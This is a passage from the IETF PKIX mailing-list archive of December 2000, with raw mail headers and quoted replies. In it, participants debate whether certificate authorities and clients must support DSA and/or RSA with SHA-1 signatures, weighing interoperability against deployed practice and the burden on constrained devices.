> (This of course begs a number of questions, like: do CAs have to
> sign CRLs
> if they support OCSP instead; do certificate users have to be able to
> process CRLs if they instead rely on OCSP?, etc.)
>
> In response to Ambarish's posting, and to Bob Jeunemann's and
> others'
> earlier postings about whether DSA should really be a MUST since almost
> nobody uses it, my personal believe is that DSA should be a MUST just in
> case there are any backward compatibility issues that might come up.  If
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes
> less
> than a MUST, then of course the requirements above reduce to "CAs and
> clients MUST support RSA with SHA-1", with appropriate wording for DSA.
>
> Al Arsenault
> Chief Security Architect
> Diversinet Corp.
>
>
>
> -----Original Message-----
> From: Russ Housley [SMTP:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 12:06 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
> As everyone who was at the meeting in San Diego knows, this posting lead
> to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional algorithms that
> they
> wish.
>
> Certificate users MUST be able to validate signatures on certificates
> and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and CRLs with
> any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
> again,
> >I remembered that I did have one problem with the draft.  I think that
> it
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs to have
> some
> >MUST style statements contained in it.  I propose adding the following
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 RSA
> signatures
> >for validation but MUST NOT create new certificates using this
> algorithm.
> >Implementations MAY support all other algorithms in this document at
> their
> >discretion.
> >
> >jim schaad
>




From owner-ietf-pkix@imc.org  Thu Dec 21 15:46:08 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA00195
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 15:46:08 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA22326;
	Thu, 21 Dec 2000 12:42:45 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 12:42:42 -0800
Received: from c013.sfo.cp.net (c013-h002.c013.sfo.cp.net [209.228.13.178])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA22286
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:42:42 -0800 (PST)
Received: (cpmta 14013 invoked from network); 21 Dec 2000 12:45:34 -0800
Date: 21 Dec 2000 12:45:34 -0800
Message-ID: <20001221204534.14012.cpmta@c013.sfo.cp.net>
X-Sent: 21 Dec 2000 20:45:34 GMT
Received: from [63.197.80.244] by mail.cp.net with HTTP; 21 Dec 2000
    12:45:34 PST
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: jimsch@exmsft.com
From: Hemma Prafullchandra <hemma@criticalpath.net>
Cc: ambarish@valicert.com, housley@spyrus.com, ietf-pkix@imc.org
X-Mailer: Web Mail 3.9.0.9
Subject: RE: Required Algorithms for Certificates
X-Sent-From: hemma@cp.net
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

On Thu, 21 December 2000, "Jim Schaad" wrote:
> Ambarish,
> What was said is that both RSA and DSA are the MUST for clients.  I have no
> problems with this myself.
> 
> jim

I agree. For those who are on the leading edge of
implementation and support of IETF standards going
back on "MUSTs" is totally irrelevant in this case.
We already support DSA (as it was a MUST) and RSA
(as the market demanded it) and will continue to
support both.

Hemma




From owner-ietf-pkix@imc.org  Thu Dec 21 16:12:51 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA01036
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 16:12:51 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA24148;
	Thu, 21 Dec 2000 13:09:28 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 13:09:24 -0800
Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA24114
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 13:09:23 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102])
        by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id NAA07792;
        Thu, 21 Dec 2000 13:14:17 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <ZG6730PZ>; Thu, 21 Dec 2000 13:12:34 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C74E@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Al Arsenault'" <aarsenault@dvnet.com>,
        "'Russ Housley'"
	 <housley@spyrus.com>, ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 13:12:33 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

I think that it is important to first recognize the reality that RSA is the
primary algorithm for PKIX and that clients MUST support it.

I don't think that it is appropriate to actually mandate any algorithm for
servers except in respect of support for interoperability testing since a CA
may have a policy of only issuing certs signed with one specific algorithm.
There is no particular advantage in having multiple algorithms for testing.
Mandating RSA therefore makes sense.

I don't think that servers should be mandated to support anything other than
RSA. Although the "Housely Compromise"[1] would be a way of avoiding
breaking faith with folk who went off and implemented non RSA PKIX.

We could mandate DSA for clients but I have not heard a compelling argument
on either side. The code is not exactly burdensome. I guess having made it a
MUST we can't really go back to SHOULD but we can add in a MUST.

So I guess the "Housely Compromise" makes sense.


	Phill

[1] Sounds like a landmark in diplomatic history n'est pas?

> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 2:52 PM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> 
> Russ, et alia,
> 
> 	While I wasn't in San Diego and thus I'm not up to 
> speed on those 
> particular discussions, this proposal seems backward to me.  
> It seems to 
> put the complexity (specifically, support for multiple 
> algorithms) on the 
> client, vice the server.  Generally, I prefer to see the 
> complexity put on 
> the server, and let the clients be simpler.  (This is in line 
> with certain 
> other standards bodies/industry fora, which 
> mandate/recommend/whatever that 
> CAs support all of RSA, DSA, and ECDSA, and let clients 
> support whichever 
> one they want.)
> 
> 	So my recommendation would be that:
> 
> 	CAs MUST be able to sign certificates and CRLs with all 
> of the following:
> 
> 		RSA with SHA-1, and
> 		DSA with SHA-1
> 
> 	Certificate users MUST be able to validate signatures 
> on certificates and 
> CRLs with at least one of the following:
> 
> 		RSA with SHA-1, or
> 		DSA with SHA-1.
> 
> 	(This of course begs a number of questions, like: do 
> CAs have to sign CRLs 
> if they support OCSP instead; do certificate users have to be able to 
> process CRLs if they instead rely on OCSP?, etc.)
> 
> 	In response to Ambarish's posting, and to Bob 
> Jeunemann's and others' 
> earlier postings about whether DSA should really be a MUST 
> since almost 
> nobody uses it, my personal believe is that DSA should be a 
> MUST just in 
> case there are any backward compatibility issues that might 
> come up.  If 
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA 
> becomes less 
> than a MUST, then of course the requirements above reduce to "CAs and 
> clients MUST support RSA with SHA-1", with appropriate 
> wording for DSA.
> 
> 			Al Arsenault
> 			Chief Security Architect
> 			Diversinet Corp.
> 
> 
> 
> -----Original Message-----
> From:	Russ Housley [SMTP:housley@spyrus.com]
> Sent:	Wednesday, December 20, 2000 12:06 PM
> To:	ietf-pkix@imc.org
> Subject:	Re: Required Algorithms for Certificates
> 
> As everyone who was at the meeting in San Diego knows, this 
> posting lead to 
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
> 
> CAs MUST be able to sign certificates and CRLs with at least 
> one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
> 
> CAs MAY sign certificates and CRLs with any additional 
> algorithms that they 
> wish.
> 
> Certificate users MUST be able to validate signatures on 
> certificates and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
> 
> Certificate users MAY validate signatures on certificates and 
> CRLs with any 
> additional algorithms that they wish.
> 
> Russ
> 
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft 
> (draft-ietf-pkix-ipki-pkalgs-01.txt) 
> again,
> >I remembered that I did have one problem with the draft.  I 
> think that it 
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs 
> to have some
> >MUST style statements contained in it.  I propose adding the 
> following 
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 
> RSA signatures
> >for validation but MUST NOT create new certificates using 
> this algorithm.
> >Implementations MAY support all other algorithms in this 
> document at their
> >discretion.
> >
> >jim schaad
> 


From owner-ietf-pkix@imc.org  Thu Dec 21 16:27:04 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA01306
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 16:27:03 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA24587;
	Thu, 21 Dec 2000 13:23:40 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 13:23:33 -0800
Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA24547;
	Thu, 21 Dec 2000 13:23:30 -0800 (PST)
Mime-Version: 1.0
X-Sender: phoffvpnc@mail.vpnc.org
Message-Id: <p05010416b66822ef557e@[165.227.249.17]>
In-Reply-To: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
References: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
Date: Thu, 21 Dec 2000 13:26:30 -0800
To: Russ Housley <housley@spyrus.com>, <ietf-pkix@imc.org>
From: Paul Hoffman / VPNC <paul.hoffman@vpnc.org>
Subject: Re: Required Algorithms for Certificates
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

At 12:05 PM -0500 12/20/00, Russ Housley wrote:
>Certificate users MUST be able to validate signatures on 
>certificates and CRLs with all of the following:
>         - DSA with SHA-1, and
>         - RSA with SHA-1.

At the VPN bakeoff in San Diego in January of this year, only a tiny 
fraction of the IPsec implementations could verify DSA certs. Heck, 
some of the CA vendors there weren't able to issue DSA certs for 
testing.

Given that VPNs are one of the major users of the PKIX protocol (and 
are arguably the largest base of deployed use of PKIX), having this 
WG say "almost all existing IPsec implementations are non-conformant" 
is somewhat harsh.

If we are interested in PKIX reflecting deployed reality, the 
document should be MUST RSA, MAY DSA for both CAs and cert users. 
Note the "MAY DSA" instead of "SHOULD DSA": the only reason a user 
would use DSA is if that is the only format supported by the CA, and 
few if any significant CAs did that. We should not say "SHOULD DSA" 
unless we believe that there is already widespread interoperability 
of DSA implementations; that seems unlikely, given how little public 
testing there has been for DSA certs.

--Paul Hoffman, Director
--VPN Consortium


From owner-ietf-pkix@imc.org  Thu Dec 21 16:55:41 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA02286
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 16:55:40 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA26315;
	Thu, 21 Dec 2000 13:52:17 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 13:52:10 -0800
Received: from OHTHREE.jjj-i.com ([64.64.35.60])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA26265
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 13:52:08 -0800 (PST)
Received: by OHTHREE.jjj-i.com with Internet Mail Service (5.5.2650.21)
	id <ZK4Z0YCV>; Thu, 21 Dec 2000 16:54:54 -0500
Message-ID: <30F37C4533D8564FB1D58BFDAF6687C104ADEE@OHTHREE.jjj-i.com>
From: "Singer, Ari" <ASinger@ntru.com>
To: jimsch@exmsft.com, "'Al Arsenault'" <aarsenault@dvnet.com>,
        ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 16:54:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Hi, everyone.

This is my first posting to this list, so please indulge me if I am not 100%
familiar with all of the context here.  My apologies also for the length of
this posting.  I guess I should comment more often to keep the size down. :)

I would like to get a little clarification about what exactly our goal is in
specifying MUSTs, SHOULDs and MAYs for these algorithms.  It seems to me
that there are two primary goals, which are interoperability and ease of
deployment for the maximum number of implementations.  Which of these two
goals takes precedence when there is a choice, I would love to know
(although I am certain there won't be concensus on that issue).  There also
seem to be lots of other variables that creep into the discussions like
timing of when things will be deployed.

The interoperability question is the most confusing part for me.  In both
Al's example and Russ's example, the CA and the client MUST be able to
interoperate with each other.  The difference is that in Russ's case, a
certificate owner can always get a single certificate from any CA that all
complying client's can verify (that isn't to say that the client necessarily
trusts the CA).  In Al's case, the certificate owner can get two
certificates from any CA (one with RSA and one with DSA) and then if the
certificate owner knows which one the client needs, they are also okay.   

One point I want to make is that in both cases, two entities will not
interoperate if one party has a certificate that is signed with an alternate
algorithm (like ECC) and the other doesn't verify that, yet this is allowed.
What this says to me is that we are always allowing non-interoperability
between implementations that comply with the standard.  If that is the case,
what is the actual meaning of having a MUST implement?  

As far as my personal opinion goes, I agree with Al that it makes sense to
try to minimize the number of MUSTs on the client side because clients are
far more likely than CAs to have processing/memory constraints.  Forcing
multiple algorithms on a client could prove to be burdensome, whereas
forcing the CAs to implement more than one algorithm probably isn't as
painful (although I'm sure someone might argue that there are infrastructure
costs for CAs).   

That being said, I have thought a bit about what should be mandatory and
what shouldn't and why.  Here are my recommendations and reasons for the
choices.  I would welcome any comments on this.

CAs MUST be able to sign certificates and CRLs with the following:
         - RSA with SHA-1. (Because at the San Diego meeting, the general
consensus was that for future applications, RSA (at least) should be a MUST
implement)

CAs MAY be able to sign certificates and CRLs with the following:
         - DSA with SHA-1. (Because it is certainly an acceptable algorithm
and there may be existing applications that need DSA.  It seems, though,
that future signatures probably won't have to be DSA as much, since most
everyone will be able to verify RSA signatures.)

CAs MAY also sign certificates and CRLs with any additional algorithms that
they wish. (Because there may be good reasons to use other algorithms for
particular applications.)

Certificate users MUST be able to validate signatures on certificates and
CRLs with the following:
         - RSA with SHA-1. (Because we need to have interoperability and
everybody (except constrained devices) likes RSA now that it is no longer
covered by patents.)

Certificate users SHOULD be able to validate signatures on certificates and
CRLs with the following:
         - DSA with SHA-1. (Because we don't want to force clients to
support multiple algorithms, but they are likely to encounter DSA
certificates.)

Certificate users MAY be able to validate signatures on certificates and
CRLs with any algorithm that they wish. (Clearly, clients should be allowed
to verify any certificates CAs are allowed to sign.)

Clearly the above solution allows people to not be interoperable, but I
haven't seen any proposal (and I don't think there should be one) that
outlaws non-interoperability.

Well, I think that's all for now.  If you made it this far down the e-mail,
thanks for reading! :)

Best regards,
Ari

Ari Singer, Principal Engineer
NTRU
5 Burlington Woods
Burlington, MA 01803
Main: (781) 221-0017
Personal: (781) 221-1306
Fax: (781) 221-0117


-----Original Message-----
From: Jim Schaad [mailto:jimsch5@home.com]
Sent: Thursday, December 21, 2000 2:56 PM
To: 'Al Arsenault'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


OK Al,

If we go with your proposal, your client validates RSA with SHA-1 and my CA
generates DSA with SHA-1.  We are in the situtation of no interop.

If we uses the rules stated in the posting by Russ, we always have interop.

jim

-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 11:52 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those
particular discussions, this proposal seems backward to me.  It seems to
put the complexity (specifically, support for multiple algorithms) on the
client, vice the server.  Generally, I prefer to see the complexity put on
the server, and let the clients be simpler.  (This is in line with certain
other standards bodies/industry fora, which mandate/recommend/whatever that
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the
following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on
certificates and
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to
sign CRLs
if they support OCSP instead; do certificate users have to be able to
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and
others'
earlier postings about whether DSA should really be a MUST since almost
nobody uses it, my personal believe is that DSA should be a MUST just in
case there are any backward compatibility issues that might come up.  If
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less
than a MUST, then of course the requirements above reduce to "CAs and
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
again,
>I remembered that I did have one problem with the draft.  I think that it
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



From owner-ietf-pkix@imc.org  Thu Dec 21 17:04:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA02495
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 17:04:42 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA27031;
	Thu, 21 Dec 2000 14:01:20 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 14:01:17 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA26998
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 14:01:16 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA05353
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 17:04:39 -0500 (EST)
Message-Id: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 21 Dec 2000 17:04:37 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: RE: Required Algorithms for Certificates
In-Reply-To: <20001221204534.14012.cpmta@c013.sfo.cp.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Folks,

Since different algorithms are a natural fit for different applications, 
the selection of a single MUST algorithm for PKIX seems a bad idea.  That 
is the reason Jeff Schiller let us avoid this issue in the first place.  If 
S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict 
with at least one of them.  PKIX should not be in the position of dictating 
algorithms to other working groups.  If PKIX decides to specify MUSTs or 
SHOULDs, they should be designed to support broad interoperability.

Interoperability is a prime concern here at NIST.  In terms of algorithm 
independence, we have come to the conclusion that interoperability 
*requires* multi-algorithm clients.  Yes, it would be nice to move the 
burden to CAs since there will be relatively few CAs.  However, CAs that 
can sign with multiple algorithms doesn't help clients that verify with 
only one unless they issue each certificate multiple times, using each 
supported signing algorithm.  Not a solution, IMHO!

This implies that we need to move the burden to the clients, even though 
that will impact many clients.  If a PKIX client can validate both DSA and 
RSA signatures, it can handle certificates from any CA when signed with a 
PKIX-specified algorithm.  The client will never be forced to reject the 
certificate based on the signing algorithm - to me, that's 
interoperability.  (I am assuming, of course, that the client knows how to 
use the end entity's public key.  If the certificate contains a D-H key, 
and the client can't do D-H we still break down.  It wasn't the signature 
algorithm on the certificates that broke it, though...)

The question is whether multiple algorithm support is a practical 
requirement for clients.  I just took a few minutes to scan the FIPS 140-1 
validated crypto module list.  This list currently has 130 modules - some 
hardware, some software.  (For those interested, see 
http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
cryptographic modules already support multiple signature algorithms.   I 
didn't count, but it appears that most of the recent products (both 
hardware and software) support both DSA and RSA for signatures.

To me, this implies that multiple algorithm support is reasonable unless 
the device footprint must be very small.  This may be a biased data set, 
though.  Validated products are required to support at least one 
FIPS-approved algorithm, and RSA has only recently become a FIPS-approved 
algorithm.

Anyway, I personally like Russ's proposal.  I believe it doesn't put too 
great a burden on PKI clients and would foster interoperability.

My $0.02 (which may in fact be overpriced.)

Thanks,

Tim Polk



From owner-ietf-pkix@imc.org  Thu Dec 21 18:43:21 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04790
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 18:43:20 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA00165;
	Thu, 21 Dec 2000 15:39:56 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 15:39:45 -0800
Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA00132
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 15:39:44 -0800 (PST)
Received: from CC787228-A ([24.180.131.6]) by femail7.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001221234308.ZGFF16755.femail7.sdc1.sfba.home.com@CC787228-A>;
          Thu, 21 Dec 2000 15:43:08 -0800
Received: by localhost with Microsoft MAPI; Thu, 21 Dec 2000 18:45:48 -0500
Message-ID: <01C06B7E.3BDCA0A0.aarsenault@dvnet.com>
From: Al Arsenault <aarsenault@dvnet.com>
To: "'Tim Polk'" <tim.polk@nist.gov>,
        "ietf-pkix@imc.org"
	 <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 18:45:46 -0500
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 92 TEXT
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Tim,

	Comments in-line, prefaced by my initials "AWA".

-----Original Message-----
From:	Tim Polk [SMTP:tim.polk@nist.gov]
Sent:	Thursday, December 21, 2000 5:05 PM
To:	ietf-pkix@imc.org
Subject:	RE: Required Algorithms for Certificates

Folks,

Since different algorithms are a natural fit for different applications,
the selection of a single MUST algorithm for PKIX seems a bad idea.  That
is the reason Jeff Schiller let us avoid this issue in the first place.  If 
S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict
with at least one of them.  PKIX should not be in the position of dictating 
algorithms to other working groups.  If PKIX decides to specify MUSTs or
SHOULDs, they should be designed to support broad interoperability.

AWA: Agreed.

Interoperability is a prime concern here at NIST.  In terms of algorithm
independence, we have come to the conclusion that interoperability
*requires* multi-algorithm clients.  Yes, it would be nice to move the
burden to CAs since there will be relatively few CAs.  However, CAs that
can sign with multiple algorithms doesn't help clients that verify with
only one unless they issue each certificate multiple times, using each
supported signing algorithm.  Not a solution, IMHO!

AWA: Agreed, in general.  Although we've found that for some specialized 
cases, it winds up being easier to just issue two certs, one with each of 
two signing algorithms.  That way it means we can support a wider set of 
clients, without having to modify them. I certainly don't want to force 
that solution on the populace at large; I'm just saying that it sometimes 
works out to be an acceptable solution.

This implies that we need to move the burden to the clients, even though
that will impact many clients.  If a PKIX client can validate both DSA and
RSA signatures, it can handle certificates from any CA when signed with a
PKIX-specified algorithm.  The client will never be forced to reject the
certificate based on the signing algorithm - to me, that's
interoperability.  (I am assuming, of course, that the client knows how to
use the end entity's public key.  If the certificate contains a D-H key,
and the client can't do D-H we still break down.  It wasn't the signature
algorithm on the certificates that broke it, though...)

AWA: Here I disagree.  As Ari has already pointed out, PKIX - and Russ' 
suggestion - allows the CA to use whatever algorithm it wants.  Thus, a CA 
can use ECDSA (to pick on one algorithm) and it's still completely 
PKIX-compliant, as long as it could have also done RSA but chose not to. 
Any client that doesn't support ECDSA will choke on this certificate, and 
reject it with some error message or another. Thus, we have "PKIX 
compliance" at both the client and CA, but no interoperability.

The question is whether multiple algorithm support is a practical
requirement for clients.  I just took a few minutes to scan the FIPS 140-1
validated crypto module list.  This list currently has 130 modules - some
hardware, some software.  (For those interested, see
http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those
cryptographic modules already support multiple signature algorithms.   I
didn't count, but it appears that most of the recent products (both
hardware and software) support both DSA and RSA for signatures.

To me, this implies that multiple algorithm support is reasonable unless
the device footprint must be very small.  This may be a biased data set,
though.  Validated products are required to support at least one
FIPS-approved algorithm, and RSA has only recently become a FIPS-approved
algorithm.

AWA: for typical "Internet clients", you're almost assuredly right. 
 However, I tend to work with a set of client devices that are more 
constrained than most Internet developers typically see, so I'm 
particularly sensitive to this.  (If anyone has ever tried to implement a 
PKI client on a device with less than a 23 byte stack and 147 bytes of RAM, 
let me know.  :-)

Anyway, I personally like Russ's proposal.  I believe it doesn't put too
great a burden on PKI clients and would foster interoperability.

AWA:  I'm more inclined to say that DSA should be a "SHOULD" at this point. 
Yes, as Phill pointed out, it seems to be breaking faith with those who 
implemented non-RSA PKIX, and so I wouldn't be terribly saddened to see DSA 
be a "MUST", but I'd rather it be a SHOULD for the client at this point.

My $0.02 (which may in fact be overpriced.)

Thanks,

Tim Polk

		Al Arsenault



From owner-ietf-pkix@imc.org  Thu Dec 21 18:54:34 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA05017
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 18:54:33 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA00589;
	Thu, 21 Dec 2000 15:51:09 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 15:51:07 -0800
Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA00555;
	Thu, 21 Dec 2000 15:51:05 -0800 (PST)
Mime-Version: 1.0
X-Sender: phoffvpnc@mail.vpnc.org
Message-Id: <p0501041eb66846dec6c1@[165.227.249.17]>
In-Reply-To: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Date: Thu, 21 Dec 2000 15:53:35 -0800
To: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
From: Paul Hoffman / VPNC <paul.hoffman@vpnc.org>
Subject: RE: Required Algorithms for Certificates
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
